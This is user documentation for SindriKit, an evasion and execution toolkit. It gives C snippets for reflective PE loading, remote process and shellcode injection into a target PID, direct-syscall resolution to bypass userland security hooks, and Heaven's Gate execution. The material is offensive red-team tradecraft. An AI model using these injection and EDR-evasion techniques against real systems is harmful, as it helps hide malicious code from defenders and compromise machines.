- Implement complete cross-process injection engine via snd_inj_ctx_t - Track explicit remote_entry_point for safe thread hijacking and PE execution - Refactor standalone syscall resolvers into a unified pipeline (scan/sort) - Perfect status code system by purging generic fallbacks in favor of highly-specific, domain-aware error codes - Fix minor pointer validation and parsing bugs in the reflective loader
7.6 KiB
Basic Usage: The Core Engine
SindriKit is an extensible evasion and execution toolkit. Reflective loading and classic remote injection are domains built on top of shared primitives — memory, modules, process, mapping, syscalls, and execution bridges (FFI, Heaven's Gate).
To use the framework effectively, separate Intent (what you want to accomplish) from Execution mechanics (how the OS is contacted).
1. Include hierarchy
| Include | Pulls in |
|---|---|
sindri.h |
Everything: common, parsers, primitives, loaders, injection |
sindri/primitives.h |
Memory, modules, process, mapping, syscalls, FFI, Heaven's Gate |
sindri/common.h |
Buffer, hash, status, debug, disk, string, memory helpers |
sindri/loaders.h |
Reflective PE loader context and chains |
sindri/injection.h |
Shared injection context and classic chains |
PoCs typically include sindri.h plus any headers needed for explicit bootstrap (e.g. sindri/primitives/syscalls.h).
2. Core philosophy: dependency injection
High-level domains never call VirtualAlloc or NtAllocateVirtualMemory directly. They call through injected API tables:
| Table | Examples | Used by |
|---|---|---|
snd_memory_api_t (mem_api) |
snd_mem_win, snd_mem_nt, snd_mem_sys |
Loaders, local mapping |
snd_module_api_t (mod_api) |
snd_mod_win, snd_mod_nt |
Loaders, import resolution |
snd_process_api_t (proc_api) |
snd_proc_win, snd_proc_nt, snd_proc_sys |
Injection |
snd_mapping_api_t |
snd_map_win, snd_map_nt, snd_map_sys |
KnownDlls bootstrap |
Swapping ctx.mem_api = &snd_mem_win to &snd_mem_sys changes the entire operational footprint without touching loader logic.
See Dependency injection for the full pattern.
3. Explicit bootstrap (no implicit globals)
Important
Syscall-backed backends (
snd_mem_sys,snd_proc_sys) and the syscall resolution pipeline require explicit initialization. The engine does not auto-discover a cleanntdllbase or SSN table.
Minimum syscall bootstrap
PVOID ntdll = NULL;
// Option A: KnownDlls (preferred for inject_pe / production syscall paths)
status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
// Option B: disk load (loader_nowinapi default)
// status = snd_disk_buffer_load("C:\\Windows\\System32\\ntdll.dll", &ntdll_buf);
// ntdll = ntdll_buf.data;
// Option C: PEB walk (no disk I/O)
// status = snd_peb_get_module_base_hash(SND_HASH_NTDLL_DLL, &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
| Step | Purpose |
|---|---|
Obtain ntdll base |
SSN scan/sort read export stubs from this image |
snd_syscall_set_ntdll |
Registers the base for all resolvers |
snd_syscall_strategy_set |
Primary resolver (scan) |
snd_syscall_strategy_add |
Fallback resolver (sort) |
Even when using snd_mem_nt (in-process ntdll stubs, not direct syscalls), PoCs still bootstrap the pipeline so upgrading to snd_mem_sys requires no other code changes.
Details: Syscalls pipeline.
4. Loader workflow
Reflective loading uses a per-technique context snd_ldr_pe_ctx_t:
snd_ldr_pe_ctx_t ctx = {0};
ctx.mem_api = &snd_mem_win; // or snd_mem_nt / snd_mem_sys
ctx.mod_api = &snd_mod_win; // or snd_mod_nt
ctx.raw_source = &file_buf; // snd_buffer_t from snd_disk_buffer_load
status = snd_ldr_pe_prepare_image(&ctx); // map, relocate, imports, protections
if (SND_FAILED(status)) { /* handle */ }
status = snd_ldr_pe_execute_image(&ctx); // TLS + DllMain / EXE entry (chain.c)
if (SND_FAILED(status)) { /* handle */ }
// Optional: call a named export with arbitrary args
FARPROC fn = NULL;
snd_ldr_pe_get_proc_address(&ctx, "MyExport", &fn);
UINT_PTR args[] = { (UINT_PTR)0x1337 };
UINT_PTR ret = snd_ffi_execute((PVOID)(UINT_PTR)fn, 1, args);
snd_ldr_pe_detach_image(&ctx); // after EXECUTED: DllMain/TLS detach + free (local only)
snd_ldr_pe_free_mapped_image(&ctx); // free if detach was skipped or already partially cleaned
snd_buffer_free(&file_buf);
Execution bridge: snd_ffi_execute (include/sindri/primitives/ffi.h) is the public API for calling resolved exports with unknown signatures. See FFI.
5. Injection workflow
Injection uses a shared context snd_inj_ctx_t across classic techniques (unlike loaders, where each technique owns its own loader context):
snd_ldr_pe_ctx_t ldr_ctx = {0}; // local bake
snd_inj_ctx_t inj_ctx = {0}; // remote target
ldr_ctx.mem_api = &snd_mem_sys;
ldr_ctx.mod_api = &snd_mod_nt;
ldr_ctx.raw_source = &file_buf;
inj_ctx.target_pid = target_pid;
inj_ctx.proc_api = &snd_proc_sys;
status = snd_inj_classic_pe(&ldr_ctx, &inj_ctx); // PE map + remote execute
// or: snd_inj_classic_shell(&inj_ctx) with inj_ctx.payload set
snd_inj_cleanup(&inj_ctx);
Shellcode-only injection skips the loader context:
snd_inj_ctx_t inj_ctx = {0};
inj_ctx.proc_api = &snd_proc_win;
inj_ctx.target_pid = pid;
inj_ctx.payload = &shellcode_buf;
status = snd_inj_classic_shell(&inj_ctx);
snd_inj_cleanup(&inj_ctx);
6. OpSec profiles (PoC mapping)
| Profile | PoC | Memory | Modules | Process | Syscall bootstrap |
|---|---|---|---|---|---|
| Diagnostic | loader_winapi |
snd_mem_win |
snd_mod_win |
— | Optional |
| NT stubs | loader_nowinapi |
snd_mem_nt |
snd_mod_nt |
— | Required (disk ntdll) |
| Direct syscalls | inject_pe |
snd_mem_sys |
snd_mod_nt |
snd_proc_sys |
Required (KnownDlls) |
| CRT-less | loader_noCRT_nowinapi |
snd_mem_win |
snd_mod_nt |
— | Minimal |
| Shellcode inject | inject_shell |
— | — | snd_proc_win |
Yes (KnownDlls; unused while _win) |
| WoW64 x64 exec | heavens_gate |
Win32 demo alloc | — | — | N/A |
Full walkthroughs: Examples.
Profile A — Win32 (loader_winapi)
snd_ldr_pe_ctx_t ctx = {0};
ctx.mem_api = &snd_mem_win;
ctx.mod_api = &snd_mod_win;
// prepare → execute → optional snd_ffi_execute for -e export
Maximum stability; every memory operation hits hooked userland stubs.
Profile B — NT API (loader_nowinapi)
// Bootstrap (Section 3), then:
ctx.mem_api = &snd_mem_nt;
ctx.mod_api = &snd_mod_nt;
Avoids VirtualAlloc / LoadLibrary telemetry; calls still pass through in-process ntdll where hooks may fire.
Profile C — Direct syscalls (inject_pe)
snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &ntdll);
snd_syscall_set_ntdll(ntdll);
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
ldr_ctx.mem_api = &snd_mem_sys;
ldr_ctx.mod_api = &snd_mod_nt;
inj_ctx.proc_api = &snd_proc_sys;
snd_inj_classic_pe(&ldr_ctx, &inj_ctx);
Bypasses userland hooks for local syscall memory ops and remote process manipulation.
7. Status handling
All domain functions return snd_status_t. Use SND_SUCCEEDED / SND_FAILED macros:
if (SND_FAILED(status)) {
snd_status_print(status); // meaningful when SND_ENABLE_DEBUG=ON
return status.code;
}
See Status system and Common status API.
Next steps
- Building SindriKit — CMake options, CRT-less tiers, first PoC build
- Loaders domain
- Injection domain
- Execution primitives